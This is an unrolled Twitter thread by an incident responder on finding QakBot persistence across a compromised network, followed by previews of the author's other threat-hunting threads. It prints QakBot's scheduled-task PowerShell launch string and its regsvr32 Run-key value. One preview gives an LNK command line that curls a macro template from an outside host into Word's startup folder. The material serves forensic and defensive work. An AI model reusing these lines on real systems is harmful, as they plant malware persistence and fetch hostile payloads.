Stephan Berger Profile picture
Jun 16 10 tweets 2 min read
1/ Visibility is key for eradication 🥷

In a recent IR case, the TA created persistences with #QakBot on almost every system in the network.

If only individual systems in the network were forensically examined, one or more infected systems would undoubtedly be missed.

🧵
2/ By examing the network connections made by the clients & servers with a forensic agent, it is apparent that QakBot has made a process injection into the following two processes:

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\mobsync.exe
3/ The analysis of the network connections gives us active C2 addresses that we can use for additional hunting inside the network (and in the FW logs).
4/ Persistence via Scheduled Tasks

QakBot has created various tasks on the systems with the following naming scheme (names are random, the following are two examples):

\2415919104
\{59024EB5-14A1-45D3-A38F-4613C0AFE9A4}
5/ The tasks containing the following launch string:

"cmd" /c start /min "" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\SOFTWARE\Aoqaeqfsiyapyap).ahscqpvwo))).

The values are random.
7/ Persistence via run keys

In addition to Scheduled Tasks, persistences were created in the registry using run keys:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\miphpfdz

Value:
regsvr32.exe -s "C:\Users\<user>\AppData\Roaming\Microsoft\Xmntohpk\cqdron.dll"
8/ Again, the key, the path in the user home and the DLL are random, which makes generic hunting more difficult.
9/ With the @velocidex Velociraptor Hunt Windows.Search.FileFinder, we can easily search for DLLs in different paths. Image
10/ The attackers have installed one (or both) of the two persistences presented above on almost every system in the compromised network.

We must be very thorough, find all infected systems and persistences, and kick the attackers off the network in a coordinated eradication.
11/ An overlooked persistence could result in the (easy) re-entry of the attacker into the network.

This case is an example of the fact that every system must be examined carefully in the case of an IR, otherwise backdoors or infections will not be found.

Good luck 🍀

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Stephan Berger

Stephan Berger Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @malmoeb

Jun 7
1/ Linux #Hardening and #ThreatHunting

The screenshot below is from Microsoft [1] - using XorDdos as an example, we can learn a lot about Linux forensics and hardening. 🧵

#CyberSecurity
2/ XorDdos bruteforces (root) access via SSH.

Learning: Prevent logging in via SSH with passwords (use priv/pub keys instead).

Within the SSH config (/etc/ssh/sshd_config), modify at least the following two lines:

PermitRootLogin no
PasswordAuthentication no
3/ SSH can, of course, be secured in much more detail.

DigitalOcean has put together an excellent guide on this topic:

digitalocean.com/community/tuto…
Read 25 tweets
May 29
1/ Interesting infection chain:

When an LNK file is double-clicked, a decoy PDF is displayed & a DOT file is downloaded and placed in the Microsoft Word Startup folder.

The downloaded DOT file contains macro code that is now loaded every time Word is started. Let's dive in 🧵
2/ Our prepared LNK has the following CMD line:

C:\Windows\System32\cmd.exe /c explorer shorturl.at/kBKM6 & mkdir %appdata%\Microsoft\Word\STARTUP & curl -o %appdata%\Microsoft\Word\STARTUP\DFIR.dot temp.sh<redacted>/invoice.docx
3/ This embedded information can be displayed and analyzed with exiftool or another LNK viewer.
Read 14 tweets
May 21
1/ #ThreatHunting: I have previously tweeted about using workstation names for hunting.

We have seen in a recent case the workstation name "WIN-799RI0TSTOF", which has already been tracked by @BushidoToken, @teamcymru_S2 and @TheDFIRReport.

🧵

(Picture from the TheDFIRReport)
/2 The TA used the leaked credentials from an employee of the company to connect to the internal network via Citrix Netscaler.

Using the Velociraptor @velocidex Hunt Windows.EventLogs.RDPAuth, we first gather logon data from the systems in our network. Below the description.
3/ Although the hunt says in the description "Best use of this artifact is to collect RDP and Authentication events around a timeframe of interest" this Velo-Search can also be used wonderfully for generic hunting.
Read 9 tweets
May 12
1/ #ThreatHunting

AnyDesk
Splashtop
Atera
TeamViewer
SupRemo
ScreenConnect
Remote Utilities

After breaching a network, attackers install, besides the obvious backdoors, other (legitimate) remote desktop products that can be used to re-enter the network. 🧵

#CyberSecurity
2/ The list above is not exhaustive, but defenders and incident responders must make sure that the installed remote desktop products were installed by the customer and not by an attacker.
3/ Especially in the case of an IR investigation, it is imperative to hunt for these products in the network.

But also proactively during a compromise assessment - the credentials for the remote solution could also have been leaked on a private PC (-> if possible, use MFA).
Read 4 tweets
May 11
1/ @CISAgov published the 2021 Top Routinely Exploited Vulnerabilities.

We also had another IR case not too long ago where the attackers connected via Forti-VPN where the credentials for that account were in the big credentials leak - in 2022! 🤯

cisa.gov/uscert/ncas/al…

🧵👇
2/ Reminder:

The credentials were (potentially) obtained from systems that remained unpatched against CVE-2018-13379 at the time of the actor's scan. Even if the devices have since been patched, they remain vulnerable if the passwords are not reset. 🚨

fortinet.com/blog/psirt-blo…
3/ Actually, this should have been done a loooooong time ago, but companies should check (or have checked) whether credentials from their users are present in this leak.

And (or) change all users' passwords if necessary, together with a review of the VPN configuration.
Read 4 tweets
May 9
1/ @ESET (see tweet below) has reported that #Emotet uses LNK attachments for the initial infection vector.

We can download a sample from Bazaar by @abuse_ch for doing our own analysis (sample from 2022-05-02).

bazaar.abuse.ch/sample/ce7191e…

#CyberSecurity
2/ exiftool works very well to find out the path and command line arguments of the malicious LNK file:
3/ The analyzed sample from @Netskope calls PowerShell directly. However, in our sample, cmd.exe is called first, then PowerShell with a base64 encoded command argument.

Picture taken from here - an analysis worth reading:
netskope.com/blog/emotet-ne…
Read 8 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(